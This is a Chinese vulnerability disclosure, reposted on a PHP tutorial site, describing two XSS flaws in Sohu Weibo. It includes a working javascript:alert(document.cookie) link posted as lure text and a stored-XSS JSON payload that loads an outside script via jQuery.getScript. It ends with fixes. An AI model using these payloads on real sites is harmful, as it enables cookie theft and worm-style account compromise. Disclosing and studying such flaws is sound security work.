来源:自学PHP网 时间:2015-04-17 13:02 作者: 阅读:次
[导读] 1. 漏洞1: 反射型XSS。漏洞URL:http://t.sohu.com/m/3398041534 (任何一条微博都可以的啦~~)漏洞函数:(function() { var originalUrl = window.location.href, toUrl = originalUrl.indexOf(......
1. 漏洞1: 反射型XSS。
漏洞URL:http://t.sohu.com/m/3398041534 (任何一条微博都可以的啦~~) 漏洞函数: (function() { var originalUrl = window.location.href, toUrl = originalUrl.indexOf('#') != -1 && originalUrl.split('#')[1]; if (toUrl) { window.location.href = toUrl; } })(); URL跳转时候没有过滤toUrl 漏洞利用, 随便发一条微博,内容为 让人震撼的XXX电影,史上最强大雷人的阵容,@谁谁谁,@谁谁谁,http://t.sohu.com/m/3398041534/#javascript:alert%28document.cookie%29%3B 点击即可中招。 具体图片见漏洞证明! 这第一个漏洞的更强大的位置在于。。 几乎所有整个搜狐微博的各个页面,都有上面这段漏洞函数。 比如:http://t.sohu.com/home (登录后,直接www.2cto.com http://t.sohu.com/home#javascript:alert(document.cookie);可见效果。) 因为http://t.sohu.com/m/\d+ 以及http://t.sohu.com/.+ 都存在该XSS, 所以俺说 是1×N 个反射型XSS。 平台:IE及Chrome下均有效。 Besides, 相比传统的反射型漏洞,加个<script>xxx</script>什么的, 容易被IE和其他浏览器自带的防护拦截。 这种location.href="javascript:xxxx" 不会受到这种影响。 所以此洞更有优势。 -------------------------华丽的分割线-------------------- 2. 漏洞2:内容存储型XSS。 提交微博内容时:pics 字段为JSON数据,JSON数据里的url 过滤了双引号,但是没过滤单引号。 导致跨站。 构造以下理由代码: 即在地址后面xxx.png',a:(function(){alert('xx');})(),b:' [{"url":"http://s1.t.itc.cn/mblog/pic/20125_2_12/s_90649467295126824.png',a:(function(){alert('xx');})(),b:'","extraData":{"smallest":{"w":64, "h":64, "size":1123},"small":{"w":64, "h":64, "size":1123},"middle":{"w":64, "h":64, "size":1123},"big":{"w":64, "h":64, "size":1123}}}] 发送此微博后, 其它用户点击内容图片即可触发。 图片长度有一定限制, 查看了下源码,搜狐微博用了jquery, 直接调用jQuery的getScript函数。调用站外JS。 [{"url":"http://s1.t.itc.cn/mblog/pic/20125_2_12/s_123.png',a:(function(){jQuery.getScript('//xss'+'report.sinaapp.com/1.js')})(),b:'","extraData":{"smallest":{"w":64, "h":64, "size":1123},"small":{"w":64, "h":64, "size":1123},"middle":{"w":64, "h":64, "size":1123},"big":{"w":64, "h":64, "size":1123}}}] 剩下的事情,就在我们的JS里完成即可咯~~ 蠕虫神马的~ 具体效果见图片证明。 修复方案: 1. 反射型的那个,修改漏洞函数,对#后面来源的地址拿正则判断下咯。 2. 存储型的这个,过滤url里的单引号 摘自 gainover |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com